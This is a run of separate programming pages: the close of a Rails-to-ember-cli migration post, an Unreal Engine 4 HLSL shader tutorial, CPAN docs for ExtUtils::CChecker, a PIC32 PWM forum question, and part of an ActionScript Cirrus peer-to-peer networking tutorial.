The @ember_config instance variable is the JSON config data retrieved from Redis, which is merged into the erb layout, adding the link and script tags needed to pull the ember assets into the page:
// app/views/ember_application.html.erb
<% if @ember_config && @ember_config.include?("link") %>
<% @ember_config["link"].each do |config| %>
<%= stylesheet_link_tag "#{config['href']}", media: "all" %>
<% end %>
<% end %>
This is all fine and dandy for production, but what happens if we want to see the ember app, served from the Rails app, in the development environment? We don’t want to have to deploy the ember-cli app to Redis and S3 just to look at it in development.
When in development, Rails generates it’s own version of the JSON config, pointing to the assets served by the local ember-cli server.
Let’s do this
So, everything I’ve mentioned above I’ve spiked out and confirmed works. I’m sure there will be more questions arising as we dive deeper in to this but for the time being I’m pretty confident that this approach will allow us to start developing a separate ember-cli app, independently of the Rails app, yet still have Rails include and serve the resulting ember app. I think we will be able to get the best of both worlds. The worlds were we can make the most of the amazing developer workflow ember-cli provides while still serving the existing app from Rails until such time that all the features have been ported.
Most importantly, and most exciting to me is the fact I think we can do this all incrementally, with out any big bang rewrite and without the user being any the wiser.
If anyone else is wondering about how best to approach incrementally moving from Rails to ember-cli please get in touch as I’d love to chat about your experiences, thoughts or suggestions.
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https://medium.com/@madebystrange/how-me-migrated-from-rails-to-ember-cli-incrementally-part-1-dce6a0794c8
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Unreal Engine 4 Custom Shaders Tutorial
In this Unreal Engine 4 tutorial, you will learn how to create custom shaders using HLSL
The material editor is a great tool for artists to create shaders thanks to its node-based system. However, it does have its limitations. For example, you cannot create things such as loops and switch statements.
Luckily, you can get around these limitations by writing your own code. To do this, you can create a Custom node which will allow you to write HLSL code.
In this tutorial, you will learn how to:
- Create a Custom node and set up its inputs
- Convert material nodes to HLSL
- Edit shader files using an external text editor
- Create HLSL functions
To demonstrate all of this, you will use HLSL to desaturate the scene image, output different scene textures and create a Gaussian blur.
The tutorial also assumes you are familiar with a C-type language such as C++ or C#. If you know a syntactically similar language such as Java, you should still be able to follow along.
- Part 1: Cel Shading
- Part 2: Toon Outline
- Part 3: Custom Shaders Using HLSL (you are here!)
- Part 4: Paint Filter
Getting Started
Start by downloading the materials for this tutorial (you can find a link at the top or bottom of this tutorial). Unzip it and navigate to CustomShadersStarter and open CustomShaders.uproject. You will see the following scene:
First, you will use HLSL to desaturate the scene image. To do this, you need to create and use a Custom node in a post process material.
Creating a Custom Node
Navigate to the Materials folder and open PP_Desaturate. This is the material you will edit to create the desaturation effect.
First, create a Custom node. Just like other nodes, it can have multiple inputs but is limited to one output.
Next, make sure you have the Custom node selected and then go to the Details panel. You will see the following:
Here is what each property does:
- Code: This is where you will put your HLSL code
- Output Type: The output can range from a single value (CMOT Float 1) up to a four channel vector (CMOT Float 4).
- Description: The text that will display on the node itself. This is a good way to name your Custom nodes. Set this to Desaturate.
- Inputs: This is where you can add and name input pins. You can then reference the inputs in code using their names. Set the name for input 0 to SceneTexture.
To desaturate the image, replace the text inside Code with the following:
return dot(SceneTexture, float3(0.3,0.59,0.11));
dot()is an intrinsic function. These are functions built into HLSL. If you need a function such as
atan()or
lerp(), check if there is already a function for it.
Finally, connect everything like so:
Summary:
- SceneTexture:PostProcessInput0 will output the color of the current pixel
- Desaturate will take the color and desaturate it. It will then output the result to Emissive Color
Click Apply and then close PP_Desaturate. The scene image is now desaturated.
You might be wondering where the desaturation code came from. When you use a material node, it gets converted into HLSL. If you look through the generated code, you can find the appropriate section and copy-paste it. This is how I converted the Desaturation node into HLSL.
In the next section, you will learn how to convert a material node into HLSL.
Converting Material Nodes to HLSL
For this tutorial, you will convert the SceneTexture node into HLSL. This will be useful later on when you create a Gaussian blur.
First, navigate to the Maps folder and open GaussianBlur. Afterwards, go back to Materials and open PP_GaussianBlur.
Unreal will generate HLSL for any nodes that contribute to the final output. In this case, Unreal will generate HLSL for the SceneTexture node.
To view the HLSL code for the entire material, select Window\HLSL Code. This will open a separate window with the generated code.
Since the generated code is a few thousand lines long, it’s quite difficult to navigate. To make searching easier, click the Copy button and paste it into a text editor (I use Notepad++). Afterwards, close the HLSL Code window.
Now, you need to find where the SceneTexture code is. The easiest way to do this is to find the definition for
CalcPixelMaterialInputs(). This function is where the engine calculates all the material outputs. If you look at the bottom of the function, you will see the final values for each output:
PixelMaterialInputs.EmissiveColor = Local1; PixelMaterialInputs.Opacity = 1.00000000; PixelMaterialInputs.OpacityMask = 1.00000000; PixelMaterialInputs.BaseColor = MaterialFloat3(0.00000000,0.00000000,0.00000000); PixelMaterialInputs.Metallic = 0.00000000; PixelMaterialInputs.Specular = 0.50000000; PixelMaterialInputs.Roughness = 0.50000000; PixelMaterialInputs.Subsurface = 0; PixelMaterialInputs.AmbientOcclusion = 1.00000000; PixelMaterialInputs.Refraction = 0; PixelMaterialInputs.PixelDepthOffset = 0.00000000;
Since this is a post process material, you only need to worry about EmissiveColor. As you can see, its value is the value of Local1. The LocalX variables are local variables the function uses to store intermediate values. If you look right above the outputs, you will see how the engine calculates each local variable.
MaterialFloat4 Local0 = SceneTextureLookup(GetDefaultSceneTextureUV(Parameters, 14), 14, false); MaterialFloat3 Local1 = (Local0.rgba.rgb + Material.VectorExpressions[1].rgb);
The final local variable (Local1 in this case) is usually a "dummy" calculation so you can ignore it. This means
SceneTextureLookup() is the function for the SceneTexture node.
Now that you have the correct function, let’s test it out.
Using the SceneTextureLookup Function
First, what do the parameters do? This is the signature for
SceneTextureLookup():
float4 SceneTextureLookup(float2 UV, int SceneTextureIndex, bool Filtered)
Here is what each parameter does:
- UV: The UV location to sample from. For example, a UV of (0.5, 0.5) will sample the middle pixel.
- SceneTextureIndex: This will determine which scene texture to sample from. You can find a table of each scene texture and their index below. For example, to sample Post Process Input 0, you would use 14 as the index.
- Filtered: Whether the scene texture should use bilinear filtering. Usually set to false.
To test, you will output the World Normal. Go to the material editor and create a Custom node named Gaussian Blur. Afterwards, put the following in the Code field:
return SceneTextureLookup(GetDefaultSceneTextureUV(Parameters, 8), 8, false);
This will output the World Normal for the current pixel.
GetDefaultSceneTextureUV() will get the UV for the current pixel.
GetDefaultSceneTextureUV()and supply your desired index.
This is an example of how custom HLSL can break between versions of Unreal.
Next, disconnect the SceneTexture node. Afterwards, connect Gaussian Blur to Emissive Color and click Apply.
At this point, you will get the following error:
[SM5] /Engine/Generated/Material.ush(1410,8-76): error X3004: undeclared identifier 'SceneTextureLookup'
This is telling you that
SceneTextureLookup() does not exist in your material. So why does it work when using a SceneTexture node but not in a Custom node? When you use a SceneTexture, the compiler will include the definition for
SceneTextureLookup(). Since you are not using one, you cannot use the function.
Luckily, the fix for this is easy. Set the SceneTexture node to the same texture as the one you are sampling. In this case, set it to WorldNormal.
Afterwards, connect it to the Gaussian Blur. Finally, you need to set the input pin’s name to anything besides None. For this tutorial, set it to SceneTexture.
Now the compiler will include the definition for
SceneTextureLookup().
Click Apply and then go back to the main editor. You will now see the world normal for each pixel.
Right now, editing code in the Custom node isn’t too bad since you are working with little snippets. However, once your code starts getting longer, it becomes difficult to maintain.
To improve the workflow, Unreal allows you to include external shader files. With this, you can write code in your own text editor and then switch back to Unreal to compile.
Using External Shader Files
First, you need to create a Shaders folder. Unreal will look in this folder when you use the
#include directive in a Custom node.
Open the project folder and create a new folder named Shaders. The project folder should now look something like this:
Next, go into the Shaders folder and create a new file. Name it Gaussian.usf. This is your shader file.
Open Gaussian.usf in a text editor and insert the code below. Make sure to save the file after every change.
return SceneTextureLookup(GetDefaultSceneTextureUV(Parameters, 2), 2, false);
This is the same code as before but will output Diffuse Color instead.
To make Unreal detect the new folder and shaders, you need to restart the editor. Once you have restarted, make sure you are in the GaussianBlur map. Afterwards, reopen PP_GaussianBlur and replace the code in Gaussian Blur with the following:
#include "/Project/Gaussian.usf" return 1;
Now when you compile, the compiler will replace the first line with the contents of Gaussian.usf. Note that you do not need to replace
Project with your project name.
Click Apply and then go back to the main editor. You will now see the diffuse colors instead of world normals.
Now that everything is set up for easy shader development, it’s time to create a Gaussian blur.
Creating a Gaussian Blur
Just like in the toon outlines tutorial, this effect uses convolution. The final output is the average of all pixels in the kernel.
In a typical box blur, each pixel has the same weight. This results in artifacts at wider blurs. A Gaussian blur avoids this by decreasing the pixel’s weight as it gets further away from the center. This gives more importance to the center pixels.
Convolution using material nodes is not ideal due to the number of samples required. For example, in a 5×5 kernel, you would need 25 samples. Double the dimensions to a 10×10 kernel and that increases to 100 samples! At that point, your node graph would look like a bowl of spaghetti.
This is where the Custom node comes in. Using it, you can write a small
for loop that samples each pixel in the kernel. The first step is to set up a parameter to control the sample radius.
Creating the Radius Parameter
First, go back to the material editor and create a new ScalarParameter named Radius. Set its default value to 1.
The radius determines how much to blur the image.
Next, create a new input for Gaussian Blur and name it Radius. Afterwards, create a Round node and connect everything like so:
The Round is to ensure the kernel dimensions are always whole numbers.
Now it’s time to start coding! Since you need to calculate the Gaussian twice for each pixel (vertical and horizontal offsets), it’s a good idea to turn it into a function.
When using the Custom node, you cannot create functions in the standard way. This is because the compiler copy-pastes your code into a function. Since you cannot define functions within a function, you will receive an error.
Luckily, you can take advantage of this copy-paste behavior to create global functions..
Now let’s use this behavior to create the Gaussian function.
Creating the Gaussian Function
The function for a simplified Gaussian in one dimension is:
This results in a bell curve that accepts an input ranging from approximately -1 to 1. It will then output a value from 0 to 1.
For this tutorial, you will put the Gaussian function into a separate Custom node. Create a new Custom node and name it Global.
Afterwards, replace the text in Code with the following:
return 1; } float Calculate1DGaussian(float x) { return exp(-0.5 * pow(3.141 * (x), 2));
Calculate1DGaussian() is the simplified 1D Gaussian in code form.
To make this function available, you need to use Global somewhere in the material graph. The easiest way to do this is to simply multiply Global with the first node in the graph. This ensures the global functions are defined before you use them in other Custom nodes.
First, set the Output Type of Global to CMOT Float 4. You need to do this because you will be multiplying with SceneTexture which is a float4.
Next, create a Multiply and connect everything like so:
Click Apply to compile. Now, any subsequent Custom nodes can use the functions defined within Global.
The next step is to create a
for loop to sample each pixel in the kernel.
Sampling Multiple Pixels
Open Gaussian.usf and replace the code with the following:
static const int SceneTextureId = 14; float2 TexelSize = View.ViewSizeAndInvSize.zw; float2 UV = GetDefaultSceneTextureUV(Parameters, SceneTextureId); float3 PixelSum = float3(0, 0, 0); float WeightSum = 0;
Here is what each variable is for:
- SceneTextureId: Holds the index of the scene texture you want to sample. This is so you don’t have to hard code the index into the function calls. In this case, the index is for Post Process Input 0.
- TexelSize: Holds the size of a texel. Used to convert offsets into UV space.
- UV: The UV for the current pixel
- PixelSum: Used to accumulate the color of each pixel in the kernel
- WeightSum: Used to accumulate the weight of each pixel in the kernel
Next, you need to create two
for loops. One for the vertical offsets and one for the horizontal. Add the following below the variable list:
for (int x = -Radius; x <= Radius; x++) { for (int y = -Radius; y <= Radius; y++) { } }
Conceptually, this will create a grid centered on the current pixel. The dimensions are given by 2r + 1. For example, if the radius is 2, the dimensions would be (2 * 2 + 1) by (2 * 2 + 1) or 5×5.
Next, you need to accumulate the pixel colors and weights. To do this, add the following inside the inner
for loop:
float2 Offset = UV + float2(x, y) * TexelSize; float3 PixelColor = SceneTextureLookup(Offset, SceneTextureId, 0).rgb; float Weight = Calculate1DGaussian(x / Radius) * Calculate1DGaussian(y / Radius); PixelSum += PixelColor * Weight; WeightSum += Weight;
Here is what each line does:
- Calculate the relative offset of the sample pixel and convert it into UV space
- Sample the scene texture (Post Process Input 0 in this case) using the offset
- Calculate the weight for the sampled pixel. To calculate a 2D Gaussian, all you need to do is multiply two 1D Gaussians together. The reason you need to divide by
Radiusis because the simplified Gaussian expects a value from -1 to 1. This division will normalize
xand
yto this range.
- Add the weighted color to
PixelSum
- Add the weight to
WeightSum
Finally, you need to calculate the result which is the weighted average. To do this, add the following at the end of the file (outside the
for loops):
return PixelSum / WeightSum;
That’s it for the Gaussian blur! Close Gaussian.usf and then go back to the material editor. Click Apply and then close PP_GaussianBlur. Use PPI_Blur to test out different blur radiuses.
Limitations
Although the Custom node is very powerful, it does come with its downsides. In this section, I will go over some of the limitations and caveats when using it.
Rendering Access
Custom nodes cannot access many parts of the rendering pipeline. This includes things such as lighting information and motion vectors. Note that this is slightly different when using forward rendering.
Engine Version Compatibility
HLSL code you write in one version of Unreal is not guaranteed to work in another. As noted in the tutorial, before 4.19, you were able to use a TextureCoordinate to get scene texture UVs. In 4.19, you need to use
GetDefaultSceneTextureUV().
Optimization
Here is an excerpt from Epic on optimization:.
Where to Go From Here?
You can download the completed project using the link at the top or bottom of this tutorial.
If you’d like to get more out of the Custom node, I recommend you check out Ryan Bruck’s blog. He has posts detailing how to use the Custom node to create raymarchers and other effects.
If there are any effects you’d like to me cover, let me know in the comments below!
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https://www.raywenderlich.com/57-unreal-engine-4-custom-shaders-tutorial
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ExtUtils::CChecker - configure-time utilities for using C headers,
libraries,
or OS features
use Module::Build; use ExtUtils::CChecker; my $cc = ExtUtils::CChecker->new; $cc->assert_compile_run( diag => "no PF_MOONLASER", source => <<'EOF' ); #include <stdio.h> #include <sys/socket.h> int main(int argc, char *argv[]) { printf("PF_MOONLASER is %d\n", PF_MOONLASER); return 0; } EOF Module::Build->new( ... )->create_build_script;
Often Perl modules are written to wrap functionality found in existing C headers, libraries, or to use OS-specific features. It is useful in the Build.PL or Makefile.PL file to check for the existance of these requirements before attempting to actually build the module.
Objects in this class provide an extension around ExtUtils::CBuilder to simplify the creation of a .c file, compiling, linking and running it, to test if a certain feature is present.
It may also be necessary to search for the correct library to link against, or for the right include directories to find header files in. This class also provides assistance here.
Returns a new instance of a
ExtUtils::CChecker object. Takes the following named parameters:
If given, defined symbols will be written to a C preprocessor .h file of the given name, instead of by adding extra
-DSYMBOL arguments to the compiler flags.
If given, sets the
quiet option to the underlying
ExtUtils::CBuilder instance. If absent, defaults to enabled. To disable quietness, i.e. to print more verbosely, pass a defined-but-false value, such as
0.
If given, passed through as the configuration of the underlying
ExtUtils::CBuilder instance.
Returns the currently-configured include directories in an ARRAY reference.
Returns the currently-configured extra compiler flags in an ARRAY reference.
Returns the currently-configured extra linker flags in an ARRAY reference.
Adds more include directories
Adds more compiler flags
Adds more linker flags
Try to compile, link, and execute a C program whose source is given. Returns true if the program compiled and linked, and exited successfully. Returns false if any of these steps fail.
Takes the following named arguments. If a single argument is given, that is taken as the source string.
The source code of the C program to try compiling, building, and running.
Optional. If specified, pass extra flags to the compiler.
Optional. If specified, pass extra flags to the linker.
Optional. If specified, then the named symbol will be defined if the program ran successfully. This will either on the C compiler commandline (by passing an option
-DSYMBOL), or in the
defines_to file.
Calls
try_compile_run. If it fails, die with an
OS unsupported message. Useful to call from Build.PL or Makefile.PL.
Takes one extra optional argument:
If present, this string will be appended to the failure message if one is generated. It may provide more useful information to the user on why the OS is unsupported.
Try to compile, link and execute the given source, using extra include directories.
When a usable combination is found, the directories required are stored in the object for use in further compile operations, or returned by
include_dirs. The method then returns true.
If no a usable combination is found, it returns false.
Takes the following arguments:
Source code to compile
Gives a list of sets of dirs. Each set of dirs should be strings in its own array reference.
Optional. If specified, then the named symbol will be defined if the program ran successfully. This will either on the C compiler commandline (by passing an option
-DSYMBOL), or in the
defines_to file.
Try to compile, link and execute the given source, when linked against a given set of extra libraries.
When a usable combination is found, the libraries required are stored in the object for use in further link operations, or returned by
extra_linker_flags. The method then returns true.
If no usable combination is found, it returns false.
Takes the following arguments:
Source code to compile
Gives a list of sets of libraries. Each set of libraries should be space-separated.
Optional. If specified, then the named symbol will be defined if the program ran successfully. This will either on the C compiler commandline (by passing an option
-DSYMBOL), or in the
defines_to file.
Calls
try_find_include_dirs_for or
try_find_libs_for respectively. If it fails, die with an
OS unsupported message.
Each method takes one extra optional argument:
If present, this string will be appended to the failure message if one is generated. It may provide more useful information to the user on why the OS is unsupported.
Construct and return a new Module::Build object, preconfigured with the
include_dirs,
extra_compiler_flags and
extra_linker_flags options that have been configured on this object, by the above methods.
This is provided as a simple shortcut for the common use case, that a Build.PL file is using the
ExtUtils::CChecker object to detect the required arguments to pass.
Some operating systems provide the BSD sockets API in their primary libc. Others keep it in a separate library which should be linked against. The following example demonstrates how this would be handled.
use ExtUtils::CChecker; my $cc = ExtUtils::CChecker->new; $cc->find_libs_for( diag => "no socket()", libs => [ "", "socket nsl" ], source => q[ #include <sys/socket.h> int main(int argc, char *argv) { int fd = socket(PF_INET, SOCK_STREAM, 0); if(fd < 0) return 1; return 0; } ] ); $cc->new_module_build( module_name => "Your::Name::Here", requires => { 'IO::Socket' => 0, }, ... )->create_build_script;
By using the
new_module_build method, the detected
extra_linker_flags value has been automatically passed into the new
Module::Build object.
Sometimes a function or ability may be optionally provided by the OS, or you may wish your module to be useable when only partial support is provided, without requiring it all to be present. In these cases it is traditional to detect the presence of this optional feature in the Build.PL script, and define a symbol to declare this fact if it is found. The XS code can then use this symbol to select between differing implementations. For example, the Build.PL:
use ExtUtils::CChecker; my $cc = ExtUtils::CChecker->new; $cc->try_compile_run( define => "HAVE_MANGO", source => <<'EOF' ); #include <mango.h> #include <unistd.h> int main(void) { if(mango() != 0) exit(1); exit(0); } EOF $cc->new_module_build( ... )->create_build_script;
If the C code compiles and runs successfully, and exits with a true status, the symbol
HAVE_MANGO will be defined on the compiler commandline. This allows the XS code to detect it, for example
int mango() CODE: #ifdef HAVE_MANGO RETVAL = mango(); #else croak("mango() not implemented"); #endif OUTPUT: RETVAL
This module will then still compile even if the operating system lacks this particular function. Trying to invoke the function at runtime will simply throw an exception.
Operating systems built on top of the Linux kernel often share a looser association with their kernel version than most other operating systems. It may be the case that the running kernel is newer, containing more features, than the distribution's libc headers would believe. In such circumstances it can be difficult to make use of new socket options,
ioctl()s, etc.. without having the constants that define them and their parameter structures, because the relevant header files are not visible to the compiler. In this case, there may be little choice but to pull in some of the kernel header files, which will provide the required constants and structures.
The Linux kernel headers can be found using the /lib/modules directory. A fragment in Build.PL like the following, may be appropriate.
chomp( my $uname_r = `uname -r` ); my @dirs = ( [], [ "/lib/modules/$uname_r/source/include" ], ); $cc->find_include_dirs_for( diag => "no PF_MOONLASER", dirs => \@dirs, source => <<'EOF' ); #include <sys/socket.h> #include <moon/laser.h> int family = PF_MOONLASER; struct laserwl lwl; int main(int argc, char *argv[]) { return 0; } EOF
This fragment will first try to compile the program as it stands, hoping that the libc headers will be sufficient. If it fails, it will then try including the kernel headers, which should make the constant and structure visible, allowing the program to compile.
#includefile
Sometimes, rather than setting defined symbols on the compiler commandline, it is preferrable to have them written to a C preprocessor include (.h) file. This may be beneficial for cross-platform portability concerns, as not all C compilers may take extra
-D arguments on the command line, or platforms may have small length restrictions on the length of a command line.
use ExtUtils::CChecker; my $cc = ExtUtils::CChecker->new( defines_to => "mymodule-config.h", ); $cc->try_compile_run( define => "HAVE_MANGO", source => <<'EOF' ); #include <mango.h> #include <unistd.h> #include "mymodule-config.h" int main(void) { if(mango() != 0) exit(1); exit(0); } EOF
Because the mymodule-config.h file is written and flushed after every define operation, it will still be useable in later C fragments to test for features detected in earlier ones.
It is suggested not to name the file simply config.h, as the core of Perl itself has a file of that name containing its own compile-time detected configuration. A confusion between the two could lead to surprising results.
Paul Evans <leonerd@leonerd.org.uk>
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http://search.cpan.org/~pevans/ExtUtils-CChecker-0.10/lib/ExtUtils/CChecker.pm
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I would like to generate two different pwm signals, at two different frequecies so one will be 6 times more than the other. I' ve seen a great page in the wiki so I discovered about timer2 and 3. I' ve written a analogWrite2 function which works pretty nice using the other output comparator and timer3. Here the code:
Basicly I put the pwm timer period arg (which is cpuclock/prescaler/desidered frequency) and the prescaler (for timer 2 are 1 8 16 32 64 128 256) and I get a pretty clean pwm signal with a dutyDiv resolution. So for example...
Code: Select all
//********************************************************************* void analogWrite2(uint8_t pin, int val, unsigned int timerPeriod, unsigned short preScaler) { uint16_t timer; uint8_t pwm_mask; p32_oc * ocp; /* Check if pin number is in valid range. */ if (pin >= NUM_DIGITAL_PINS_EXTENDED) { return 0; } #if (OPT_BOARD_ANALOG_WRITE != 0) /* Peform any board specific processing. */ int _board_analogWrite(uint8_t pin, int val); if (_board_analogWrite(pin, val) != 0) { return; } #endif // OPT_BOARD_ANALOG_WRITE /* Determine if this is actually a PWM capable pin or not. ** The value in timer will be the output compare number associated with ** the pin, or NOT_ON_TIMER if no OC is connected to the pin. ** The values 0 or >=255 have the side effect of turning off PWM on ** pins that are PWM capable. */ timer = digitalPinToTimerOC(pin) >> _BN_TIMER_OC; if ((timer == NOT_ON_TIMER) || (val == 0) || (val >= 110000)) { /* We're going to be setting the pin to a steady state. ** Make sure it is set as a digital output. And then set ** it LOW or HIGH depending on the value requested to be ** written. The digitalWrite function has the side effect ** of turning off PWM on the pin if it happens to be a ** PWM capable pin. */ pinMode(pin, OUTPUT); if (val < 128) { digitalWrite(pin, LOW); } else { digitalWrite(pin, HIGH); } } else { /* It's a PWM capable pin. Timer 3 is used for the time base ** for analog output, so if no PWM are currently active then ** Timer 3 needs to be initialized */ if (pwm_active2 == 0) { switch(preScaler) { case 1: T3CON = TBCON_PS_1; break; case 2: T3CON = TBCON_PS_2; break; case 4: T3CON = TBCON_PS_4; break; case 8: T3CON = TBCON_PS_8; break; case 16: T3CON = TBCON_PS_16; break; case 32: T3CON = TBCON_PS_32; break; case 64: T3CON = TBCON_PS_64; break; case 256: T3CON = TBCON_PS_256; break; default: T3CON = TBCON_PS_256; break; } TMR3 = 0; PR3 = timerPeriod; T3CONSET = TBCON_ON; } /* Generate bit mask for this output compare. */ pwm_mask = (1 << (timer - (_TIMER_OC2 >> _BN_TIMER_OC))); /* Obtain a pointer to the output compare being being used ** NOTE: as of 11/15/2011 All existing PIC32 devices ** (PIC32MX1XX/2XX/3XX/4XX/5XX/6XX/7XX) have the output compares ** in consecutive locations. The base address is _OCMP1_BASE_ADDRESS ** and the distance between their addresses is 0x200. */ ocp = (p32_oc *)(_OCMP2_BASE_ADDRESS + (0x200 * (timer - (_TIMER_OC2 >> _BN_TIMER_OC)))); /* If the requested PWM isn't active, init its output compare. Enabling ** the output compare takes over control of pin direction and forces the ** pin to be an output. */ int dutyDiv= pow(2, (int)log2(timerPeriod)); if ((pwm_active2 & pwm_mask) == 0) { #if defined(__PIC32MX1XX__) || defined(__PIC32MX2XX__) volatile uint32_t * pps; /* On devices with peripheral pin select, it is necessary to connect ** the output compare to the pin. */ pps = ppsOutputRegister(timerOCtoDigitalPin(timer)); *pps = ppsOutputSelect(timerOCtoOutputSelect(timer)); #endif ocp->ocxR.reg = ((timerPeriod*val)/dutyDiv); ocp->ocxCon.reg = OCCON_SRC_TIMER3 | OCCON_PWM_FAULT_DISABLE; ocp->ocxCon.set = OCCON_ON; pwm_active2 |= pwm_mask; } /* Set the duty cycle register for the requested output compare */ ocp->ocxRs.reg = ((timerPeriod*val)/dutyDiv); } }
FQR: 10 kHz with 1:1 prescaler I think should be 12-bit resolution.
I' m trying to generate two phased PWM, one is generated by my function (and it works fine, with my scope I can see it' s stable) the other one doesn' t! I tried to use both tone (which uses timer1) and standard analogwrite (editing the PR2 period) but they won' t at all to be phased. Can anyone help me? Thank you, regards
p.s. if you find some errors in my code please comments!
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refinedweb
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Building real time networked games and applications can be challenging. This tutorial will show you how to connect flash clients using Cirrus, and introduce you to some vital techniques.
Let's take a look at the final result we will be working towards. Click the start button in the SWF above to create a 'sending' version of the application. Open this tutorial again in a second browser window, copy the nearId from the first window into the textbox, and then click Start to create a 'receiving' version of the application.
In the 'receiving' version, you'll see two rotating needles: one red, one blue. The blue needle is rotating of its own accord, at a steady rate of 90°/second. The red needle rotates to match the angle sent out by the 'sending' version.
(If the red needle seems particularly laggy, try moving the browser windows so that you can see both SWFs at once. Flash Player runs EnterFrame events at a much lower rate when the browser window is in the background, so the 'sending' window transmits the new angle much less frequently.)
Step 1: Getting Started
First things first: you need a Cirrus 'developer key', which can be obtained at the Adobe Labs site. This is a text string that is uniquely assigned to you on registration. You will use this in all the programs you write to get access to the service, so it might be best to define it as a constant in one of your AS files, like this:
public static const CIRRUS_KEY:String = "<my string here>";
Note that its each developer or development team that needs its own key, not each user of whatever applications you create.
Step 2: Connecting to the Cirrus Service
We begin by creating a network connection using an instance of the (you guessed it)
NetConnection class. This is achieved by calling the
connect() method with your previously mentioned key, and the URL of a Cirrus 'rendezvous' server. Since at the time of writing Cirrus uses a closed protocol there is only one such server; its address is
rtmfp://p2p.rtmfp.net
public class Cirrus { public static const CIRRUS_KEY:String = "<my string here>" private static var netConnection:NetConnection; public static function Init(key:String):void { if( netConnection != null ) return; netConnection = new NetConnection(); try { netConnection.connect("rtmfp://p2p.rtmfp.net", key); } catch(e:Error) {} } }
Since nothing happens instantly in network communication, the
netConnection object will let you know what it's doing by firing events, specifically the
NetStatusEvent. The important information is held in the
code property of the event's
info object.
private function OnStatus(e:NetStatusEvent):void { switch(e.info.code) { case "NetConnection.Connect.Success": break; //The connection attempt succeeded. case "NetConnection.Connect.Closed": break; //The connection was closed successfully. case "NetConnection.Connect.Failed": break; //The connection attempt failed. } }
An unsuccessful connection attempt is usually due to certain ports being blocked by a firewall. If this is the case, you have no choice but to report the failure to the user, as they won't be connecting to anyone until the situation changes. Success, on the other hand, rewards you with your very own
nearID. This is a string property of the NetConnection object that represents that particular NetConnection, on that particular Flash Player, on that particular computer. No other NetConnection object in the world will have the same nearID.
The nearID is like your own personal phone number - people who want to talk to you will need to know it. The reverse is also true: you will not be able to connect to anyone else without knowing their nearID. When you supply someone else with your nearID, they will use it as a
farID: the farID is the ID of the client that you are trying to connect to. If someone else gives you their nearID, you can use it as a farID to connect to them. Get it?
So all we have to do is connect to a client and ask them for their nearID, and then... oh wait. How do we find out their nearID (to use as our farID) if we're not connected to each other in the first place? The answer, which you'll be suprised to hear, is that it's impossible. You need some kind of third-party service to swap the ids over. Examples would be:
- Building a server application to act as a 'lobby'
- Cooking something up using
NetGroups, which we might look at in a future tutorial
Step 3: Using Streams
The network connection is purely conceptual and doesn't help us much after the connection has been set up. To actually transfer data from one end of the connection to another we use
NetStream objects. If a network connection can be thought of as building a railway between two cities, then a NetStream is a mail train that carrys actual messages down the track.
NetStreams are one-directional. Once created they act as either a Publisher (sending information), or a Subscriber (receiving information). If you want a single client to both send and receive information over a connection, you will therefore need two NetStreams in each client. Once created a NetStream can do fancy things like stream audio and video, but in this tutorial we will stick with simple data.
If, and only if, we recieve a
NetStatusEvent from the NetConnection with a code of
NetConnection.Connect.Success, we can create a NetStream object for that connection. For a publisher, first construct the stream using a reference to the netConnection object we just created, and the special pre-defined value. Second, call
publish() on the stream and give it a name. The name can be anything you like, it's just there for a subscriber to differentiate between multiple streams coming from the same client.
var ns:NetStream = new NetStream(netConnection, NetStream.DIRECT_CONNECTIONS); ns.publish(name, null);
To create a subscriber, you again pass the netConnection object into the constructor, but this time you also pass the farID of the client you want to connect to. Secondly, call
play() with the name of the stream that corresponds to the name of the other client's publishing stream. To put it another way, if you publish a stream with the name 'Test', the subscriber will have to use the name 'Test' to connect to it.
var ns:NetStream = new NetStream(netConnection, farID); ns.play(name);
Note how we needed a farID for the subscriber, and not the publisher. We can create as many publishing streams as we like and all they will do is sit there and wait for a connection. Subscribers, on the other hand, need to know exactly which computer in the world they're supposed to be subscribing to.
Step 4: Transferring Data
Once a publishing stream is set up it can be used to send data. The netstream
Send method takes two arguments: a 'handler' name, and a variable length set of parameters. You can pass any object you like as one of these parameters, including basic types like
String,
int and
Number. Complex objects are automatically 'serialized' - that is, they have all their properties recorded on the sending side and then re-created on the recieving side.
Arrays and
ByteArrays copy just fine too.
The handler name corresponds directly to the name of a function that will eventually be called on the receiving side. The variable parameter list corresponds directly to the arguments the receiving function will be called with. So if a call is made such as:
var i:int = 42; netStream.send("Test", "Is there anybody there?", i);
The receiver must have a method with the same name and a corresponding signature:
public function Test(message:String, num:int):void { trace(message + num); }
On what object should this receiving method be defined? Any object you like. The NetStream instance has a property called
client which can accept any object you assign to it. That's the object on which the Flash Player will look for a method of the corresponding sending name. If there's no method with that name, or if the number of parameters is incorrect, or if any of the argument types cannot be converted to the parameter type, an
AsyncErrorEvent will be fired for the sender.
Step 5: Pulling everything together
Let's consolidate the things we've learned so far by putting everything into some kind of framework. Here's what we want to include:
- Connecting to the Cirrus service
- Creating publishing and subscribing streams
- Sending and receiving data
- Detecting and reporting errors
In order to receive data we need some way of passing an object into the framework that has member functions which can be called in response to the corresponding send calls. Rather than an arbitrary object parameter, I'm going to code a specific interface. I'm also going to put into the interface some callbacks for the various error events that Cirrus can send out - that way I can't just ignore them.
package { import flash.events.ErrorEvent; import flash.events.NetStatusEvent; import flash.net.NetStream; public interface ICirrus { function onPeerConnect(subscriber:NetStream):Boolean; function onStatus(e:NetStatusEvent):void; function onError(e:ErrorEvent):void; } }
I want my Cirrus class to be as easy to use as possible, so I want to hide the basic details of streams and connections from the user. Instead, I'll have one class that acts as either a sender or reciever, and which connects the Flash Player to the Cirrus service automatically if another instance hasn't done so already.
